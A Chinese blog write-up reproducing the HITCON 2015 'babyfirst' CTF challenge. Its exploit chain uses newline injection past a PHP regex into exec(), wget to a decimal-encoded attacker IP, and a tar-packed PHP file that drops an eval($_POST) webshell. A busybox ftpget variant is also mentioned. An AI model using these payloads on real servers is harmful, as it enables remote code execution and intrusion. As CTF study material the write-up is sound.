Hitcon2015 babyfirst复现

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/u011377996/article/details/82706379

前言

继续上面的题目,直接利用上一道题目的docker环境复现一道题目,注意这里面的docker环境可能需要自己在某些文件夹下面设置权限,自己缺点什么环境就自己下就行了,感觉这个题目的难度比较上一题低了一点,参考博客: https://blog.spoock.com/2017/09/09/Babyfirst-writeup/

正文

先放个题目代码

<?php
    highlight_file(__FILE__);

    $dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
    if ( !file_exists($dir) )
        mkdir($dir);
    chdir($dir);

    $args = $_GET['args'];
    for ( $i=0; $i<count($args); $i++ ){
        if ( !preg_match('/^\w+$/', $args[$i]) )
            exit();
    }
    exec("/bin/orange " . implode(" ", $args));
?>

这一段代码的意思就是建立一个sandbox/clientip文件夹 ,然后利用通过get法师获取args的参数,然后里面有一个正则匹配,只能通过的是数字以及字母不然的话就会直接die掉,最后就是利用exec这个执行函数了,而/bin/orange最终发现只是/bin/true的软链接,没有任何的作用。

这个题目关键是那个正则,那个正则在很多题目也有见到过,由于preg_match()使用的是\w来进行检查,所有的斜线、破折号和点(\,-,.)都无法使用。另外就是在/^\w+$\中的$当遇到一个字符串的结尾是换行符时还是可以匹配的。利用这个特性,就可以绕过前面的preg_match()检查,同时多出的换行符还可以在exec()函数中执行。

个人感觉这个题目如果implode里面的分割用的不是空格而是其他的类似逗号的东西这一个题目不一定可以写文件,或许其他大佬有办法可以跟我讲讲。留了空格刚好就可以写文件了

比如传参的url是这样的http://192.168.1.102/?args[]=xxx%0a&args[]=touch&args[]=0ver
这三个参数都可以经过正则匹配
那么执行的过程就是

/bin/orange xxx
touch test

可以成功创建文件
iEgrQg.png
这样一来,就先了正则,然后既可以创建文件了,如果implode里面不用空格分割的话,后面创建文件就会变成touchtest,这种东西是不可以创建文件的

然后这里就是参考了大佬们的做法利用wget的方式去实现,tql

这里牵涉到另外一个知识点,我们平常见到的ip地址都是点分十进制表示的,其实IP地址还可以用直接10进制,八进制等等表示都可以

然后再开一个本地环境:192.168.1.106,服务器:192.168.1.102

在本地里面创建一个页面index.php内容为<?php phpinfo();?>
iEgfYV.md.png

然后再往服务器发送相应的参数,这时候的ip地址转化就起作用了,把本地ip换一下

<?php
printf("%u", ip2long("192.168.1.106"));

得到输出

3232235882

这里用的这样的输出方法是为了解决32位以及64位php版本的问题,因为由于自己的php版本是32 位的输出的是负数,所以才用这样的的解决方法,参考链接
https://blog.csdn.net/everything1209/article/details/22418559

这时候就是开始利用了
http://192.168.1.102/?args[]=xxx%0a&args[]=wget&args[]=3232235882
然后就直接把192.168.1.106主页的页面给下载下来,但是这个页面是解析过了的,没有任何PHP语言的痕迹,只剩下html了
iEgIlF.md.png

这时候又是另外一个知识点了
在Linux中PHP能够执行非压缩的打包的PHP文件。
也就是这样的过程
创建1.php,内容为<?php echo "123";?>,通过tar1.php打包,tar cvf test 1.php,PHP运行test文件,可以运行
iEgHm9.md.png

复现到这里,发现orange大佬真是强,到后期就是利用上面两个知识点

在原来的本地的index.html里面改成这样的代码,注意一定要在index.html里面写上这样的语句,不然的话就会在像上面的例子一样在index.php里面的语句会被解析之后下载,会毫无用处下载下来是没有php语句的,更别谈解析了

<?php
file_put_contents('cmd.php', '
<?php
header("Content-Type: text/plain");
 @eval($_POST["cmd"]);
?>
');

然后开始写webshell

http://192.168.1.102/?args[]=xxx%0a&args[]=mkdir&args[]=exploit 创建exploit文件夹
http://192.168.1.102/?args[]=xxx%0a&args[]=cd&args[]=exploit%0a&args[]=wget&args[]=3232275969   进入exploit文件夹,下载192.168.158.1的index.html文件。

然后就是利用打包的方式去执行相关的PHP代码了,想直接改名字是不可能的因为命令里面含有'.'这样的字符
再来一句http://192.168.1.102/?args[]=xxx%0a&args[]=php&args[]=cmd 执行一波这个打包未压缩的PHP文件

然后可以执行一句话木马了,打开小马页面http://192.168.1.102/sandbox/192.168.1.102/cmd.php,上菜刀链接成功
iE2S6e.md.png

再看一下服务器下面的目录成功创建了cmd.php页面
iE2Kmj.png

再看看出题人的官方wp发现还有其他骚操作
就是利用一波ftp方式去下载远程的一句话木马,因为自己虚拟机没有busybox这个东西就不搞了
但还是得过一遍脑紫的,利用下面的命令把远处ftp服务器里面的webshell.php给下载下来,这样做的好处就是不用再管原来那些php繁琐的解析步骤,

busybox ftpget -u ftp的用户名 -p ftp的密码 ftp地址 需要下载的文件名

很好的思路学习了,不一定就是busybox,还有其他利用ftp的下载功能来获取webshell的。

小结

1.两个运用的知识点远程wget下载的PHP文件是经过解析的,服务器是可以通过用php执行打包的文件的,注意不是压缩的PHP文件,有点像是两个本来安全的东西放在一起后就变成了不安全的东西。。。。个人感觉问题的严重性还是出现在php能够执行未压缩的打包文件上。
2根据上一次的复现题目,个人感觉命令执行在这两道题目的上面都利用了远程的另外一台主机,第一次是使用了curl命令去访问,而这次是通过wget或者是ftp去访问,骚操作又学习了一波
3.正则可以换行符继续匹配那个点就不多说了

猜你喜欢

转载自blog.csdn.net/u011377996/article/details/82706379